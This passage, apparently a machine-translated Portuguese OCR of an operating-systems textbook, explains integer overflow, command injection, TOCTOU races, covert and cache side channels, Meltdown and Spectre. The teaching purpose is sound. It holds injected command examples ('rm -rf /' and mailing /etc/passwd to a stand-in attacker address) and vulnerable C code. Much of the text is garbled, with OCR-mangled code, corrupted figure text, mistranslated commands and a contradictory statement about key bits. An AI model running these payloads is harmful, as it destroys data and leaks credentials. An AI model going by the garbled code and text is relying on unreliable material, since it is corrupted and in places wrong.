sem sinal de 16 bits, o produto aparente será 4096. É evidente que isso está incorreto, mas não é detectado. 


Essa capacidade de causar overflows numéricos não detectados pode ser transformada em um ataque. Uma 
maneira de fazer isso é alimentar um programa com dois parâmetros válidos (mas grandes), sabendo que eles 
serão somados ou multiplicados e resultarão em um estouro. Por exemplo, alguns programas gráficos possuem 
parâmetros de linha de comando que fornecem a altura e a largura de um arquivo de imagem, por exemplo, o 
tamanho para o qual uma imagem de entrada deve ser convertida. Se a largura e a altura alvo forem escolhidas 
para forçar um estouro, o programa calculará incorretamente quanta memória é necessária para armazenar a 
imagem e chamará malloc para alocar um buffer muito pequeno para ela. A situação agora está madura para um 
ataque de buffer overflow. Explorações semelhantes são possíveis quando a soma ou produto de números inteiros 
positivos resulta em um número inteiro negativo. Obviamente um suficientemente paranóico 
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o programador poderia verificar se o produto da multiplicação de dois números inteiros positivos, 


cada um maior que 1, era maior que cada um dos fatores, mas os programadores raramente fazem 
isso. 


9.5.7 Ataques de Injeção de Comando 


Ainda outra exploração envolve fazer com que o programa alvo execute comandos sem perceber 
que está fazendo isso. Considere um programa que em algum momento precise duplicar algum 
arquivo fornecido pelo usuário com um nome diferente (talvez como backup). Se o programador tiver 
preguiça de escrever o código, ele poderá usar a função do sistema , que bifurca um shell e executa 
seu argumento como um comando do shell. Por exemplo, o código C 


system('Is >lista de arquivos") 


bifurca um shell que executa o comando 


Is >lista de arquivos 


listando todos os arquivos no diretório atual e gravando-os em um arquivo chamado lista de arquivos. 
O código que o programador preguiçoso pode usar para duplicar o arquivo é fornecido na Figura 9.22. 


1. int main(int argc, char *argv[]) 2. { 3. 

char 

src[100], dst[100], cmd[205] = "cp "; /* declara 3 strings */ 4. printf("Por favor, insira o 

nome do arquivo fonte: "); /* solicita o arquivo fonte */ 5. get(src); / * obtém entrada do 

teclado */ 6. strcat(cmd, src); / * concatena src após cp */ 7. streat(emd, " "); / * adicione um espaço ao 
final do cmd */ 8. printf("Por favor, insira o nome do arquivo de destino: ");/* solicite o nome do 

arquivo de saída */ 9. get(dst); / * obtém entrada do teclado */ 10. streat(cmd, dst); / * completa a string de 
comandos */ 11. system(cmd); / * execute o comando cp */ 12.) 


Figura 9-22. Código que pode levar a um ataque de injeção de comando. 


O que o programa faz é pedir os nomes dos arquivos de origem e destino, construir uma linha 
de comando usando cp e então chamar o sistema para executá-lo. Suponha que o usuário digite 
"abc" e "xyz", respectivamente, então o comando que o shell irá executar é 


cp abc xyz 


que de fato copia o arquivo. 
Infelizmente, esse código não é apenas vulnerável a um buffer overflow, mas também abre uma 
possibilidade de ataque ainda mais simples por meio de injeção de comando. Suponha que 


Machine Translated by Google 


SEC. 9.6 EXPLORANDO SOFTWARE 667 


o usuário digita "abc" e "xyz; rm —rf /" em vez disso. O comando que é construído e executado 
agora é 


cp abcxyz; rm —rf / 


que primeiro copia o arquivo e depois tenta remover recursivamente todos os arquivos e todos os 
diretórios de todo o sistema de arquivos. Se o programa estiver sendo executado como 
superusuário, poderá ter sucesso. O problema, claro, é que tudo que segue o ponto e vírgula é 
executado como um comando shell. 

Outro exemplo do segundo argumento poderia ser "xyz; mail snooper@bad guy.com </etc/ 
passwd", que produz 


cp abcxyz; envie um e-mail para snooperDbad-guys.com </etc/passwd 


enviando assim o arquivo de senha para um endereço desconhecido e não confiável. 


9.5.8 Tempo de verificação para ataques de tempo de uso 


O último ataque nesta seção é de natureza diferente. Não tem nada a ver com corrupção de 
memória ou injeção de comando. Em vez disso, explora condições de corrida. Como sempre, 
isso pode ser melhor ilustrado com um exemplo. Considere o código abaixo: 


interno 

fd; if (acesso ("./meu documento", W OK) E 0) { exit 
(1); fd = 

open ("./meu documento", O ERRADO) wr ite (fd, 


entrada do usuário, sizeof (entrada do usuário)); 


Assumimos novamente que o programa é SETUID root e o invasor deseja usar seus privilégios 
para gravar no arquivo de senha. Claro, ela não tem permissão de gravação no arquivo de senha, 
mas vamos dar uma olhada no código. A primeira coisa que notamos é que o programa SETUID 
não deve gravar no arquivo de senhas — ele apenas deseja gravar em um arquivo chamado “meu 
documento” no diretório de trabalho atual. Entretanto, mesmo que um usuário possa ter esse 
arquivo em seu diretório de trabalho atual, isso não significa que ele realmente tenha permissão 
de gravação para esse arquivo. Por exemplo, o arquivo pode ser um link simbólico para outro 
arquivo que não pertence ao usuário, por exemplo, o arquivo de senha. 


Para evitar isso, o programa realiza uma verificação para garantir que o usuário tenha acesso 
de gravação ao arquivo por meio da chamada de sistema de acesso . A chamada verifica o arquivo 
real (ou seja, se for um link simbólico, ele será desreferenciado para que o arquivo de destino seja 
verificado), retornando 0 se o acesso solicitado for permitido e um valor de erro 1 caso contrário. 
Além disso, a verificação é realizada com o UID real do processo chamador , ao invés do UID 
efetivo (porque caso contrário, um processo SETUID sempre teria acesso). Somente se a 
verificação for bem-sucedida o programa abrirá o arquivo e gravará a entrada do usuário nele. 
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O programa parece seguro, mas não é. O problema é que o horário da verificação de acesso 
aos privilégios e o horário em que os privilégios são usados não são os mesmos. Suponha que uma 
fração de segundo após a verificação de acesso, o invasor consiga criar um link simbólico com o 
mesmo nome de arquivo para o arquivo de senha. Nesse caso, a abertura abrirá o arquivo errado e 
a gravação dos dados do invasor irá parar no arquivo de senha. Para conseguir isso, o invasor 
precisa correr com o programa para criar o link simbólico exatamente no momento certo. 


O ataque é conhecido como ataque TOCTOU (Time of Check to Time of Use). 
Outra maneira de analisar esse ataque específico é observar que a chamada do sistema de acesso 
simplesmente não é segura. Seria muito melhor abrir o arquivo primeiro e depois verificar as 
permissões usando o descritor de arquivo — usando a função fstat. Os descritores de arquivo são 
seguros porque não podem ser alterados pelo invasor entre as cnamadas fstat e write. Isso mostra 
que projetar uma boa API para sistema operacional é extremamente importante e bastante difícil. 
Nesse caso, os designers erraram. 


9.5.9 Vulnerabilidade de busca dupla 


Uma condição de corrida muito semelhante a TOCTOU ocorre quando o kernel busca dados 
dos processos do usuário duas vezes. Considere uma chamada de sistema que utiliza um buffer de 
um processo do usuário (para enviar pela rede, gravar em um arquivo ou enviar para uma 
impressora). Para copiar o buffer em seu próprio espaço de endereço, o kernel primeiro lê o campo 
de comprimento de um endereço no processo do usuário e aloca seu próprio buffer desse tamanho. 
Em seguida, ele usa o valor no mesmo local de memória novamente para copiar o conteúdo do 
buffer do usuário para o buffer do kernel recém-alocado. O que poderia dar errado? 

Tendo visto TOCTOUSs, você rapidamente percebe que a resposta é uma condição de corrida 
onde outro thread modifica o campo de comprimento entre a alocação e a operação de cópia. Ao 
aumentá-lo, um invasor pode causar um buffer overflow. 

Um exemplo bem conhecido de vulnerabilidade de busca dupla semelhante ao TOCTOU foi 
encontrado no Windows, onde software não confiável é submetido a verificações de segurança 
antes de poder executar operações confidenciais. Por exemplo, o software de segurança do 
Windows modificaria as entradas de uma tabela que contém os endereços de serviços 
(potencialmente sensíveis) que um programa pode chamar diretamente. Ao substituir estes 
endereços pelos das suas próprias funções, o software de segurança garante que as suas próprias 
funções são sempre executadas primeiro. Essas funções realizam algumas verificações nos 
parâmetros e depois chamam os serviços originais do Windows. Essa técnica é conhecida como 
gancho. Infelizmente, ao chamar primeiro os serviços com parâmetros que passam nas verificações 
e, em seguida, modificar os parâmetros para valores maliciosos pouco antes de serem usados, os 
invasores podem ignorar as verificações. 


9.6 EXPLORANDO HARDWARE 


Assim como o software, o hardware também pode conter vulnerabilidades. Durante muito 
tempo, os especialistas em segurança consideraram essas vulnerabilidades impraticáveis e 
complicadas de explorar, mas essa atitude mudou rapidamente quando uma nova classe de vulnerabilidades foi 
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divulgado em 2018 e todos, desde fornecedores de hardware até desenvolvedores de sistemas 
operacionais, ficaram nervosos. As vulnerabilidades receberam os nomes apocalípticos de 
Meltdown e Spectre e foram destaque nas notícias. Desde então, os pesquisadores de segurança 
encontraram dezenas de variantes dessas vulnerabilidades. As implicações para os sistemas 
operacionais são graves. Para discutir todos eles, precisaríamos de outro livro, mas examinaremos 
apenas as principais questões subjacentes. Para fazer isso, devemos primeiro explicar sobre os 
canais secretos e secundários. Se você estiver interessado em mais detalhes sobre Meltdown e 
Spectre, consulte Lipp et al. (2020) e Amit et al. (2021). 


9.6.1 Canais Secretos 


Na seg. 9.3, discutimos modelos formais de sistemas seguros. Todas essas ideias sobre 
modelos formais, criptografia e sistemas comprovadamente seguros parecem ótimas, mas será 
que realmente funcionam? Numa palavra: Não. Mesmo num sistema que tenha um modelo de 
segurança adequado subjacente e que tenha sido provado ser seguro e esteja correctamente 
implementado, ainda podem ocorrer fugas de segurança. Nesta seção, discutimos como a 
informação ainda pode vazar, mesmo quando foi rigorosamente comprovado que tal vazamento é 
matematicamente impossível. Essas ideias se devem a Lampson (1973). 

O modelo de Lampson foi originalmente formulado em termos de um único sistema de 
compartilhamento de tempo, mas as mesmas ideias podem ser adaptadas para LANs e outros 
ambientes multiusuários, incluindo aplicações executadas na nuvem. Na forma mais pura, envolve 
três processos em alguma máquina protegida. O primeiro processo, o cliente, deseja que algum 
trabalho seja executado pelo segundo, o servidor. O cliente e o servidor não confiam totalmente 
um no outro. Por exemplo, a função do servidor é ajudar os clientes no preenchimento de seus 
formulários fiscais. Os clientes temem que o servidor registre secretamente seus dados financeiros, 
por exemplo, mantendo uma lista secreta de quem ganha quanto e depois vendendo a lista. O 
servidor está preocupado com a possibilidade de os clientes tentarem roubar o valioso programa 
fiscal. 

O terceiro processo é o do colaborador, que está conspirando com o servidor para de fato 
roubar os dados confidenciais do cliente. O colaborador e o servidor normalmente pertencem à 
mesma pessoa. Esses três processos são mostrados na Figura 9.23. O objetivo deste exercício é 
projetar um sistema no qual seja impossível para o processo servidor vazar para o processo 
colaborador as informações que ele recebeu legitimamente do processo cliente. Lampson chamou 
isso de problema do confinamento. 

Do ponto de vista do projetista do sistema, o objetivo é encapsular ou confinar o servidor de 
tal forma que ele não possa passar informações ao colaborador. Usando um esquema de matriz 
de proteção podemos facilmente garantir que o servidor não possa se comunicar com o 
colaborador escrevendo um arquivo ao qual o colaborador tenha acesso de leitura. Provavelmente 
também podemos garantir que o servidor não possa se comunicar com o colaborador usando o 
mecanismo de comunicação entre processos do sistema. 

Infelizmente, canais de comunicação mais sutis também podem estar disponíveis. Por 
exemplo, o servidor pode tentar comunicar um fluxo de bits binário da seguinte maneira. Para 
enviar um bit de 1, ele calcula o máximo que pode por um intervalo fixo de tempo. Para enviar um 
bit 0, ele entra em suspensão pelo mesmo período de tempo. 
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Cliente Colaborador de Servidor Servidor encapsulado 


Núcleo Núcleo Secreto 


canal 


(a) (b) 


Figura 9-23. (a) Os processos de cliente, servidor e colaborador. (b) O servidor encapsulado 
ainda pode vazar para o colaborador através de canais secretos. 


O colaborador pode tentar detectar o fluxo de bits monitorando cuidadosamente seu 
tempo de resposta. Em geral, obterá uma resposta melhor quando o servidor estiver enviando um O 
do que quando o servidor está enviando um 1. Este canal de comunicação é conhecido como 
canal secreto e é ilustrado na Figura 9.23(b). 
É claro que o canal secreto é um canal barulhento, contendo muitas informações estranhas. 
informação, mas a informação pode ser enviada de forma confiável através de um canal ruidoso usando um 
código de correção de erros (por exemplo, um código de Hamming, ou mesmo algo mais sofisticado). O uso de um 
código de correção de erros reduz a já baixa largura de banda do 
ainda mais o canal secreto, mas ainda assim pode ser suficiente para vazar informações substanciais. É bastante óbvio 
que nenhum modelo de proteção baseado numa matriz de objetos 
e domínios vai evitar esse tipo de vazamento. 
Modular o uso da CPU não é o único canal secreto. A taxa de paginação pode 
também ser modulado (muitas falhas de página para 1, nenhuma falha de página para 0). Na verdade, quase 
qualquer forma de degradar o desempenho do sistema de forma cronometrada é uma candidata. Se o 
sistema fornece uma maneira de bloquear arquivos, então o servidor pode bloquear algum arquivo para indicar 1 e 
desbloqueá-lo para indicar 0. Em alguns sistemas, pode ser possível que um 
processo para detectar o status de um bloqueio mesmo em um arquivo que ele não pode acessar. Este secreto 
canal é ilustrado na Fig. 9-24, com o arquivo bloqueado ou desbloqueado para alguns 
intervalo de tempo conhecido pelo servidor e pelo colaborador. Neste exemplo, o segredo 
o fluxo de bits 11010100 está sendo transmitido. 
Bloquear e desbloquear um arquivo pré-combinado, S, não é um canal especialmente barulhento, 
mas requer um tempo bastante preciso, a menos que a taxa de bits seja muito baixa. O 
confiabilidade e desempenho podem ser aumentados ainda mais usando um reconhecimento 
protocolo. Este protocolo utiliza mais dois arquivos, F1 e F2, bloqueados pelo servidor e 
colaborador, respectivamente, para manter os dois processos sincronizados. Depois do servidor 
bloqueia ou desbloqueia S, ele inverte o status de bloqueio de F1 para indicar que um bit foi enviado. 
Assim que o colaborador tiver lido o bit, ele muda o status de bloqueio de F2 para informar ao 
servidor, ele está pronto para outro bit e espera até que F1 seja invertido novamente para indicar que 


outro bit está presente em S. Como o tempo não está mais envolvido, este protocolo é totalmente 
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Figura 9-24. Um canal secreto usando bloqueio de arquivo. 


confiável, mesmo em um sistema ocupado, e pode prosseguir tão rápido quanto os dois processos podem 
agende-se. Para obter maior largura de banda, por que não usar dois arquivos por bit ou 
torná-lo um canal de bytes com oito arquivos de sinalização, S0 a S7? 

Adquirir e liberar recursos dedicados (unidades de fita, plotters, etc.) pode 
também ser usado para sinalização. O servidor adquire o recurso para enviar 1 e libera 
para enviar um 0. No UNIX, o servidor poderia criar um arquivo para indicar um 1 e removê-lo 
para indicar 0; o colaborador poderia usar a chamada do sistema de acesso para ver se o arquivo 
existe. Esta chamada funciona mesmo que o colaborador não tenha permissão para usar o 
arquivo. Infelizmente, existem muitos outros canais secretos. 

Lampson também mencionou uma forma de vazar informações para o proprietário (humano) 
do processo do servidor. Presumivelmente, o processo servidor terá o direito de informar seu 
proprietário quanto trabalho foi realizado em nome do cliente, para que o cliente possa ser cobrado. Se 
Se a conta real de computação for, digamos, US$ 100 e a renda do cliente for US$ 53.000, o servidor poderia 
relatar a conta como US$ 100,53 ao seu proprietário. 

Apenas encontrar todos os canais secretos, e muito menos bloqueá-los, é quase impossível. 
Apresentando um processo que causa falhas de página aleatoriamente ou que de outra forma gasta seu tempo 
tempo degradando o desempenho do sistema, a fim de reduzir a largura de banda do sistema secreto 
canais não é uma ideia atraente. 

Na próxima seção, apresentamos um canal secreto particularmente insidioso, baseado 


nas propriedades de hardware. De certa forma, é pior do que os anteriores, porque 
também pode ser usado para roubar informações confidenciais — um truque conhecido como canal lateral. 


9.6.2 Canais Laterais 


Até agora, assumimos que duas partes, um remetente e um destinatário, usam uma comunicação secreta. 
canal para transmitir informações confidenciais, deliberadamente. No entanto, às vezes, nós 
pode usar técnicas semelhantes para vazar informações de um processo vítima sem o 
conhecimento da vítima. Neste caso, falamos de canais laterais. Muitas vezes um canal pode 


funcionar como canal secreto ou como canal lateral, dependendo de como é usado. 
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Um bom exemplo é o canal lateral do cache. Como todos os canais secretos e secundários, 
depende de um recurso compartilhado, neste caso o cache. Suponha que Andy receba uma bela 
coleção de fotos de “zebras e árvores” por meio de uma ferramenta de mensagens segura. A 
ferramenta criptografa todas as mensagens de um destinatário específico com a chave secreta 
desse destinatário antes de transmiti-la (ou entregá-la a outro usuário no mesmo computador). 

No destino, as mensagens são armazenadas de forma criptografada e só podem ser lidas pelo 
usuário com essa mesma chave. Suponha também que Herbert, outro usuário da mesma máquina, 
esteja interessado nas mensagens de Andy (e especialmente nas imagens da zebra). Ele pode 
despejar o conteúdo das mensagens no disco, mas como elas são criptografadas, tudo o que elas 
contêm é lixo. Se ao menos ele tivesse aquela maldita chave! 

A ferramenta do messenger usa uma rotina de criptografia bem conhecida, Encrypt() , de 
uma biblioteca de criptografia compartilhada. Como muitas rotinas de criptografia, ela itera sobre 
os bits da chave secreta, fazendo uma coisa se o bit for O e outra se o bit for 1. Veja a Figura 9.25. 


for (i = 0; i < comprimento (SecretKey); i++) 
if (SecretKeyli] == 0) faça uma coisa (mensagem, ...); 
senão faça outra coisa (mensagem, ...); 


Figura 9-25. Estrutura de uma rotina de criptografia que itera sobre os bits da chave, 
realizando diferentes ações dependendo do valor do bit. 


Não nos importamos com os detalhes da rotina de criptografia (que provavelmente envolve o tipo 
de matemática inteligente que faz sua cabeça girar). O que é importante aqui é que o código que 
é executado quando o bit da chave é 0 está em um local diferente do código que é executado 
quando o bit é 1 (veja também a Figura 9.26, acima). Quando os locais na memória forem 
diferentes, essas instruções também serão colocadas em locais diferentes no cache. Em outras 
palavras, se Herbert puder determinar qual local do cache será usado durante cada iteração, ele 
também saberá o valor daquele bit da chave. 


Infelizmente (para Herbert), isso parece difícil: o cache não informa simplesmente quais 
cachelines são usados e quando. No entanto, esta informação ainda pode ser observada 
indiretamente. A propriedade que usamos é que acessar algo que está no cache é rápido, 
enquanto acessar algo que ainda não está no cache leva consideravelmente mais tempo. Neste 
exemplo, assumiremos que o cache é usado tanto para código quanto para dados (por exemplo, 

o cache de nível 3 nos processadores Intel), mas ataques semelhantes também são possíveis 
para outros caches. 

Para descobrir a chave, Herbert executa um programa que também usa a biblioteca de 
criptografia e que libera continuamente os cachelines correspondentes ao código de do one thing() 
e do another thing() do cache (por exemplo, usando a instrução clflush em processadores x86 ) e 
imediatamente os lê da memória, cada vez medindo com muita precisão quanto tempo essas 
leituras levam. Veja também a Figura 9-26. Enquanto este programa está rodando e cronometrando 
as leituras, ele envia uma mensagem para Andy para que a ferramenta do mensageiro a 
criptografe com a chave de Andy. 
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Figura 9-26. Ataque de canal lateral de cache no aplicativo Messenger de Andy. 


Existem duas possibilidades para leituras temporizadas: (1) a leitura é lenta ou (2) a 
leitura é rápida. O primeiro caso é o que esperamos. Afinal, o código de Herbert 
simplesmente liberou esses endereços do cache e carregá-los da memória leva tempo. Se 
o acesso for rápido, algum outro código deve ter carregado o código no cache — 
presumivelmente a ferramenta do mensageiro. Se o acesso de do one thing() for rápido, 

a rotina Encrypi() na ferramenta mensageiro processou um bit de chave com valor 0. Se 
o do another thing() for rápido, o Encrypt() processou um bit de chave com o valor 0. valor 
0. O código de Herbert libera imediatamente os cachelines novamente. Enxague e repita. 

Desta forma, ele obtém a chave secreta de Andy pouco a pouco, sem nunca tocá-la 

diretamente. Este canal lateral de cache específico é conhecido como Flush & Reload. Lá 
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Existem também outros canais laterais de cache, mas por mais interessantes que sejam, os detalhes 
estão além do escopo deste livro. Claramente, o cache também pode ser usado para canais secretos: 
ao concordar que acessar um cacheline significa O e outro cacheline significa 1, um remetente e um 
destinatário podem trocar mensagens arbitrárias. Veremos mais tarde como ataques novos e 
bastante assustadores usam canais secretos baseados em cache para vazar informações 
confidenciais do kernel do sistema operacional. 

Você pode se perguntar o que Andy poderia ter feito para frustrar os ataques covardes e 
indiretos de Herbert à chave criptográfica de seu coautor. Uma resposta aqui é: use um software 
melhor. Por exemplo, ao projetar cuidadosamente sua rotina de criptografia para ter tempo 
constante, sem diferenças de tempo observáveis entre os diferentes valores do bit de chave, o 
canal lateral não funciona mais. Por exemplo, suponha um novo design de Encrypt() onde do one 
thing() e do one thing() usam as mesmas linhas de cache. Nesse caso, o código de Herbert não será 
capaz de usar o canal lateral acima para distinguir entre diferentes casos. 


9.6.3 Ataques de Execução Transitória 


Em janeiro de 2018, as vulnerabilidades de hardware Meltdown e Spectre tornaram-se públicas 
e a Intel, um dos fornecedores de CPU afetados, viu o preço de suas ações cair vários pontos 
percentuais. O mundo olhou com espanto. De repente, percebi que não era mais possível confiar no 
hardware. Além disso, os fornecedores indicaram que alguns dos problemas não seriam resolvidos. 
O que estava acontecendo? 

As novas vulnerabilidades consistiam em vulnerabilidades de hardware que poderiam ser 
exploradas a partir de software. Antes de entrarmos nos detalhes, devemos mencionar que estes 
são ataques muito avançados que estão mantendo os pesquisadores de segurança e desenvolvedores 
de sistemas operacionais ocupados em todo o mundo. Eles também são muito legais. 

Desde Meltdown e Spectre, os pesquisadores encontraram muitos novos membros dessa 
família de vulnerabilidades. Todos são baseados em otimizações na CPU que garantem que a CPU 
se mantenha o mais ocupada possível, para que não perca tempo esperando. A maneira como eles 
conseguem isso é fazer com que a CPU execute operações antes do previsto. 


Na seg. 5.1, examinamos uma otimização em que instruções iniciadas posteriormente iniciavam 
e geralmente terminavam bem antes de uma instrução anterior terminar a execução. Por exemplo, 
DIV (divisão) é uma instrução cara. Fica pior se um operando precisar ser buscado na memória e 
não estiver no cache. Depois que a CPU inicia tal instrução, podem ser necessários muitos ciclos de 
clock antes que ela seja concluída. 
O que a CPU deve fazer enquanto isso? Como a maioria das CPUs são superescalares, elas 
possuem muitas unidades de execução. Por exemplo, eles têm múltiplas unidades para carregar 
valores da memória, múltiplas unidades para realizar adição e subtração de inteiros, etc. Se a 
instrução após a divisão for uma adição que não depende do resultado da divisão, não há mal 
nenhum em execução com antecedência. E a próxima instrução. E o próximo. Quando a divisão for 
finalmente concluída, muitas instruções posteriores já terão sido concluídas e todos os seus 
resultados poderão agora ser confirmados. 
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É claro que a CPU deve ter cuidado com essa execução fora de ordem. Se 
algo dá errado durante a execução do DIV, por exemplo se o divisor 
for 0, ele deverá gerar uma exceção e desfazer todos os efeitos das instruções fora de ordem 


subsequentes. Em outras palavras, deve fazer com que apareça como 
se as instruções fora de ordem nunca foram executadas. Estas instruções são transitórias. 


O problema é que essa execução transitória é reprimida apenas no nível da arquitetura — o 
nível que é visível para os programadores. Então, a CPU garante 
que as instruções transitórias não terão efeito nos registradores ou na memória. No entanto, ainda 
pode haver vestígios do código executado e depois esmagado no nível microarquitetural . A 
microarquitetura é o que implementa uma arquitetura específica de conjunto de instruções. Inclui os 
tamanhos e políticas de substituição dos caches, 
o TLB, as unidades de execução, etc. Por exemplo, muitas CPUs de diferentes empresas 
implementam a arquitetura do conjunto de instruções x86-64 e todas podem executar o 
mesmos programas, mas nos bastidores, no nível da microarquitetura, essas CPUs 
são muito diferentes. Execução transitória que é esmagada no nível arquitetônico 
podem deixar rastros no nível microarquitetural, por exemplo porque os dados que foram 
carregado da memória agora está no cache. 

Quão ruim é isso, você pergunta? Bem, como vimos na seção anterior, a presença 
ou ausência ou dados no cache podem ser usados como canal secreto. E é exatamente isso que 
está acontecendo nesses ataques. 


Ataques de execução transitórios baseados em falhas 


Para maior eficiência, sistemas operacionais como o Linux mapeiam o kernel do sistema 
operacional no espaço de endereço de cada processo do usuário. Fazer isso faz chamadas do sistema 
mais barato, porque mesmo que a chamada do sistema cause uma mudança para um sistema mais privilegiado 
domínio, o kernel, não há necessidade de alterar as tabelas de páginas. Para ter certeza de que 
os processos do usuário não podem modificar as páginas do kernel, as entradas da tabela de páginas para a 
memória do kernel têm o bit Supervisor definido (veja a Figura 3.11). 

Agora considere o código da Figura 9.27, onde um invasor sem privilégios tenta 
leia um endereço do kernel na Linha 2. A CPU não ficará entusiasmada com a ideia, 
porque o bit supervisor está definido para aquela página, então a instrução falhará e 
lançar uma exceção. Isso acontecerá quando a instrução correspondente for retirada. 

Enquanto isso, entretanto, a CPU continuará assumindo que tudo está 

bem. Ele irá (transitoriamente) ler o valor e (transitoriamente) executar a instrução em 

Linha 3, que o utiliza como índice em um array. Quando a exceção é finalmente levantada, 

os efeitos arquitetônicos das instruções são revertidos. Por exemplo, quando a poeira 

for liquidado, os valores originais estarão em reg0 e reg1. O problema é que a instrução transitória 
na Linha 3 ainda teve efeito no estado da microarquitetura, já que 

array [reg0 * 4096] agora está no cache. Veja também a Figura 9-28. Antes de executar 

essas três instruções, o invasor garante que nenhum dos outros elementos seja 

no cache. Isso é fácil: basta acessar muitos outros dados, para que todos os cachelines 
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1. char *kaddr = Ro // um endereço de kernel 


2. reg0 = kadar[0] // lê byte do endereço do kernel: não permitido 
3. reg1 = array [reg0 * 4096] D a usa o valor como índice 


Figura 9-27. Meltdown: uh ESEMO acessa a memória do kernel e a utiliza como índice. 


são usados para outras coisas. Is fan ca que após executar o código acima, há 

exatamente um elemento da matriz po çaghe. Ao ler cada elemento da matriz (em etapas de 

4096) e medindo quanto tempo leva pememfazer o acesso, o invasor descobrirá que 

um elemento da matriz é considerav(ife)te mais rápido que os outros. Se a leitura rápida ocorreu 
eslocamento 7 * 4096, o invasor sabe que o byte secreto 


lido do kernel foi 7. Dessa forma, os pres podem vazar cada byte em 


para o elemento da matriz em, diga 


o kernel do sistema operacional. Ná pensamento agradável! 


| 


Dados / Matriz 


O acesso é rápido, pois este elemento 
agora está no cache. 


Hfego = Kaddr(0] 
reg1 = array(reg0+4096] 


O índice da matriz rápida 
elemento (dividido por 4096) é 
o valor que foi lido de 

o núcleo! 


A “=“But the code accesses 
the cache first. 


Figura 9-28. Um valor lido por uma instrução com falha ainda deixa um rastro no cache. 

Se você está curioso sobre a multiplicação por 4096, este é um truque comum. 
Como uma linha de cache tem 64B na maioria das arquiteturas, se o ataque tivesse usado o valor em 
reg0 como um índice por si só sem multiplicação, o mesmo cacheline seria usado 
para todos os valores de 0 a 7. Embora o invasor pudesse ter usado um valor diferente 
para a multiplicação, o fator 4096 garante que cada valor de byte caia em um 
linha de cache exclusiva (e que as cargas relacionadas pelo pré-buscador da CPU não importam). 

O ataque é conhecido como Meltdown e levou a uma grande mudança no design do sistema 
operacional. O fato de que os desenvolvedores do kernel Linux originalmente propuseram chamar 
seu patch "Forcefully Unmap Complete Kernel With Interrupt Trampolines" 
enquanto ostentam sua propensão para siglas inteligentes, sugere que eles não eram 
totalmente cheio de alegria com as conquistas dos fornecedores de chips. Outra sugestão 
o nome era "Separação de espaço de endereço de usuário", outra joia. Eventualmente, a solução passou 
a ser conhecida como KPTI (Kernel Page Table Isolation). Por completamente 
separando os espaços de endereço do kernel e dos processos do usuário e fornecendo o 
kernel com seu próprio conjunto de tabelas de páginas, não era mais possível vazar informações do 
kernel. No entanto, o custo no desempenho é significativo. Nos processadores mais novos, o Melt down é 
fixado em silício, mas isso não ajuda os usuários com hardware antigo. 
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Até agora as boas notícias. A má notícia é que vulnerabilidades relacionadas ainda 
surgem de vez em quando. Eles têm nomes diferentes e os detalhes sempre variam, mas 
permanece o princípio de que uma instrução com falha gera uma exceção, mas nesse meio 
tempo a execução transitória já acessou e usou os dados secretos. 


Ataques de execução transitória baseados em especulação 


Há outra causa para a execução transitória: a especulação. Considere o código da 
Figura 9.29. Suponha que o código seja executado dentro da vítima (por exemplo, o sistema 
operacional) e que a entrada seja um valor inteiro não assinado fornecido por um processo 
de usuário não confiável. Claramente o programador tentou fazer a coisa certa. Antes de 
usar a entrada como índice em um array, o programa verifica se ela está dentro dos limites. 
Somente se for esse o caso ele executará as Linhas 2 e 3. Pelo menos é o que você pensaria. 


1. if (input < MaxArray Elements) (// verificação de segurança: não permite buffer overflow? 2. char x = 
A [entrada]; // lê um caractere do array 3. char y = B [x * 4096]; // usa o 
resultado como índice 4. ) 


Figura 9-29. Execução especulativa: a CPU prevê erroneamente a condição na Linha 1 e executa 
as Linhas 2-3 especulativamente, acessando a memória que deveria estar fora dos limites. 


A realidade é muito diferente e a CPU pode decidir executar as instruções 
transitoriamente , mesmo se o índice estiver fora dos limites. A razão pode ser que a 
condição na Linha 1 leva muito tempo para ser resolvida. Por exemplo, a variável 
MaxArray Elements pode não estar no cache e isso significa que o processador precisa 
buscá-la na memória principal, uma operação que leva muitos ciclos. Enquanto isso, a CPU 
com todas as suas unidades de execução não tem nada para fazer. Paralisar a CPU por 
períodos tão longos seria desastroso para o desempenho, então os fornecedores de 
hardware inventaram um truque inteligente. Eles disseram: e se tentarmos adivinhar o 
resultado da condição if? Ou melhor ainda, podemos de alguma forma prever esse valor? 

Se prevermos que a condição é verdadeira, podemos então executar as instruções nas 

Linhas 2-3 especulativamente enquanto esperamos que o resultado real da condição seja 

resolvido. A previsão geralmente é baseada na história. Por exemplo, se o resultado foi 

verdadeiro nas últimas 100 vezes, provavelmente será verdadeiro novamente na 101º vez. 

Na realidade, os preditores de ramificação em CPUs modernas são muito mais complicados e precisos. 

Suponha que previmos o valor como verdadeiro e executamos especulativamente as 
outras duas instruções. Em algum momento, o verdadeiro resultado da condição torna-se 
disponível. Se acertarmos e a previsão corresponder ao resultado real, já temos os resultados 
das próximas duas instruções e a CPU pode simplesmente confirmá-los e passar para a 
próxima instrução. Caso a previsão esteja errada, nenhum dano será causado — simplesmente 
não comprometemos os resultados e desfazemos todos os efeitos arquitetonicamente 
visíveis dessas instruções. Como as instruções executadas especulativamente agora se 
tornam transitórias, será como se nunca tivessem sido executadas. 
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Só que já vimos na seção anterior que ainda pode haver vestígios 
no nível microarquitetural, por exemplo no cache. Para simplificar, vamos 
vamos assumir que o array B é compartilhado entre o processo atacante e a vítima (veja 
também Fig. 9-30). Este não é um requisito estrito e o ataque ainda é possível se o 
O invasor não pode acessar o array diretamente, mas um array compartilhado simplifica a explicação. Em 
particular, assim como na seção anterior, o invasor pode simplesmente ler todos os 
elementos da matriz Bem um loop, enquanto cronometra as durações do acesso. Se o acesso de 
elemento n é consideravelmente mais lento, o invasor sabe que n/4096 deve ter sido 
o valor que foi acessado transitoriamente. 
O que torna isso especialmente perigoso é que o invasor pode treinar os recursos da CPU 
preditor para prever mal. Por exemplo, o invasor pode fornecer 100 entradas que são 
dentro dos limites para enganar o preditor de ramificação fazendo-o pensar que o resultado será verdadeiro 


a 101º vez também. No entanto, desta vez o invasor fornece um valor ilegal e fora dos limites para ler 
dados de um local que não deveria estar acessível. 


Código Dados 


(1) Treine o preditor de ramificação 
para prever "verdadeiro": 


~N 
| 
(2) Forneça um valor para 


causar previsão errada: A o 
O acesso é rápido, pois este elemento 


agora está no cache. 


"entrada = 63261" 


1. ifféntrada=32) + 
2. chars A fentrada) 8! 

Bhar SB [x =4D96];* 4096], 
4) y 


EI ; Novamente, o índice do 
elemento fast array (dividido 
Carregar especulativamente por 4096) é o valor que foi 


aa glemento da melrictho lido pela Linha 2 no kernel! 
especulativamente A[63261] cache 


Figura 9-30. Ataque Spectre original ao kernel. 


